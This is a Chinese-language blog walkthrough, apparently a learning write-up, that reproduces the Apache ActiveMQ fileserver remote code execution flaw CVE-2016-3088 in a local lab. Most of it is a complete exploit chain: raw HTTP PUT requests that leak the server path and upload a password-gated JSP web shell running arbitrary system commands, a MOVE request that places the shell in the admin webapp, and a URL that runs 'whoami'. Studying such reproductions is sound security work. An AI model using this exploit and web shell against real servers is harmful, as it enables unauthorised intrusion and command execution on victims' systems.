Apache ActiveMQ 远程代码执行漏洞 CVE-2016-3088

前言

大佬们玩的漏洞都是我没见过的。学习一下~

漏洞成因

ActiveMQ的web控制台分为三个应用,admin、api、fileserver。其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,而fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作。

漏洞版本

Apache ActiveMQ 版本 5.x ~ 5.14.0
5.12.x ~ 5.13.x 版本中,默认关闭了 fileserver
5.14.0 以后的版本,删除了 fileserver

漏洞搭建

windows 10、jdk 1.8、ActiveMQ5.7
官网下载ActiveMQ5.7版本
http://activemq.apache.org/download-archives.html
解压至D盘,进入bin目录,启动activemq.bat即可

image.png
image.png

banner识别为jetty 容器,web控制台工作在8061端口
访问一下 http://192.168.1.101:8161

image.png

报错页面也可以看到该容器

image.png

访问首页可以看到activeMQ版本
http://192.168.1.101:8161/admin/index.jsp?printable=true

image.png

漏洞利用

activeMQ某些版本默认开启了PUT方法,可以通过构造payload项服务器写入文件。

PUT /fileserevr/.%04
Host: 192.168.1.101:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2874012xz2g910dce15j3lm8p
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

可获取服务器绝对路径。

image.png

向服务器PUT文件,shell.jsp为命令执行的马

PUT /fileserver/shell.jsp
Host: 192.168.1.101:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2874012xz2g910dce15j3lm8p
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 374

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>
image.png

返回状态码为204。服务器成功处理了请求,但不需要返回任何实体内容。
看到文件被成功写入。

image.png

fileserver目录下文件均不解析jsp文件。
通过MOVE方法移动至admin可被解析的目录下。

MOVE  /fileserver/shell.jsp   HTTP/1.1
Destination:file:D:/apache-activemq-5.7.0/webapps/admin
Host: 192.168.1.101:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2874012xz2g910dce15j3lm8p
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
image.png

访问一下
http://192.168.1.101:8161/admin/shell.jsp?pwd=023&i=whoami

image.png

成功执行系统命令。
注意:实际测试发现不支持冰蝎马、菜刀马等一些大马

你可能感兴趣的:(Apache ActiveMQ 远程代码执行漏洞 CVE-2016-3088)